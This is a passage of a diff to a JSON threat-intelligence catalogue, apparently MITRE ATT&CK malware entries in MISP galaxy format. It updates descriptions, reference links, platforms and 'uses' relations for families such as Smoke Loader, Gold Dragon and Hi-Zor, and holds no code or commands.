S0065" }, { - "description": "China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0020", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + "external_id": "S0056", + "mitre_platforms": [ + "Windows" ], - "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70" - }, - "value": "China Chopper" - }, - { - "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.[[Citation: Cylance Cleaver]]\n\nAliases: Net Crawler, NetC", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0056", - "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" + "https://attack.mitre.org/software/S0056", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ], "synonyms": [ "Net Crawler", "NetC" - ], - "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704" + ] }, "related": [ { @@ -108,67 +820,825 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Net Crawler" + "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704", + "value": "Net Crawler - S0056" }, { - "description": "Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0107", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + "external_id": "S0129", + "mitre_platforms": [ + "Windows" ], - "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe" - }, - "value": "Cherry Picker" - }, - { - "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz.", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0007", - "http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/" - ], - "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49" - }, - "value": "Skeleton Key" - }, - { - "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0130", + "https://attack.mitre.org/software/S0129", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" ], - "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56" + "synonyms": [ + "AutoIt backdoor" + ] }, - "value": "Unknown Logger" + "related": [ + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300", + "value": "AutoIt backdoor - S0129" }, { - "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner", + "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { + "external_id": "S0177", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0133", - "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + "https://attack.mitre.org/software/S0177", + "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", + "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" ], "synonyms": [ - "Miner-C", - "Mal/Miner-C", - "PhotoMiner" - ], - "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234" + "Power Loader", + "Win32/Agent.UAW" + ] }, - "value": "Miner-C" + "related": [ + { + "dest-uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3", + "value": "Power Loader - S0177" }, { - "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", "meta": { + "external_id": "S0252", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0087", + "https://attack.mitre.org/software/S0252", + "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + ], + "synonyms": [ + "Brave Prince" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "28b97733-ef07-4414-aaa5-df50b2d30cc5", + "value": "Brave Prince - S0252" + }, + { + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)", + "meta": { + "external_id": "S0226", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0226", + "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + ], + "synonyms": [ + "Smoke Loader", + "Dofoil" + ] + }, + "related": [ + { + "dest-uuid": "81f41bae-2ba9-4cec-9613-776be71645ca", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "ba91d713-c36e-4d98-9fb7-e16496a69eec", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "value": "Smoke Loader - S0226" + }, + { + "description": "[Stealth Mango](https://attack.mitre.org/software/S0328) is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as [Tangelo](https://attack.mitre.org/software/S0329) is believed to be from the same developer. (Citation: Lookout-StealthMango)", + "meta": { + "external_id": "S0328", + "refs": [ + "https://attack.mitre.org/software/S0328", + "https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf" + ], + "synonyms": [ + "Stealth Mango" + ] + }, + "related": [ + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "085eb36d-697d-4d9a-bac3-96eb879fe73c", + "value": "Stealth Mango - S0328" + }, + { + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "meta": { + "external_id": "S0249", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0249", + "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + ], + "synonyms": [ + "Gold Dragon" + ] + }, + "related": [ + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "value": "Gold Dragon - S0249" + }, + { + "description": "[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)", + "meta": { + "external_id": "S0306", + "refs": [ + "https://attack.mitre.org/software/S0306", + "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.FakeInst.a" + ] + }, + "related": [ + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "28e39395-91e7-4f02-b694-5e079c964da9", + "value": "Trojan-SMS.AndroidOS.FakeInst.a - S0306" + }, + { + "description": "[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)", + "meta": { + "external_id": "S0307", + "refs": [ + "https://attack.mitre.org/software/S0307", + "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.Agent.ao" + ] + }, + "related": [ + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a1867c56-8c86-455a-96ad-b0d5f7e2bc17", + "value": "Trojan-SMS.AndroidOS.Agent.ao - S0307" + }, + { + "description": "[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)", + "meta": { + "external_id": "S0308", + "refs": [ + "https://attack.mitre.org/software/S0308", + "https://securelist.com/mobile-malware-evolution-2013/58335/" + ], + "synonyms": [ + "Trojan-SMS.AndroidOS.OpFake.a" + ] + }, + "related": [ + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d89c132d-7752-4c7f-9372-954a71522985", + "value": "Trojan-SMS.AndroidOS.OpFake.a - S0308" + }, + { + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)", + "meta": { + "external_id": "S0084", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0084", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + ], + "synonyms": [ + "Mis-Type" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "value": "Mis-Type - S0084" + }, + { + "description": "[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)", + "meta": { + "external_id": "S0085", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0085", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + ], + "synonyms": [ + "S-Type" + ] + }, + "related": [ + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "value": "S-Type - S0085" + }, + { + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)", + "meta": { + "external_id": "S0087", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0087", "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" ], - "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc" + "synonyms": [ + "Hi-Zor" + ] }, "related": [ { @@ -177,55 +1647,311 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Hi-Zor" + "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "value": "Hi-Zor - S0087" }, { - "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0084", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "external_id": "S0133", + "mitre_platforms": [ + "Windows" ], - "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61" - }, - "value": "Mis-Type" - }, - { - "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0085", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "https://attack.mitre.org/software/S0133", + "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" ], - "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131" + "synonyms": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" + ] }, - "value": "S-Type" + "related": [ + { + "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "value": "Miner-C - S0133" }, { - "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]", + "description": "[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)", "meta": { + "external_id": "S0304", "refs": [ - "https://attack.mitre.org/wiki/Software/S0092", - "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/" + "https://attack.mitre.org/software/S0304", + 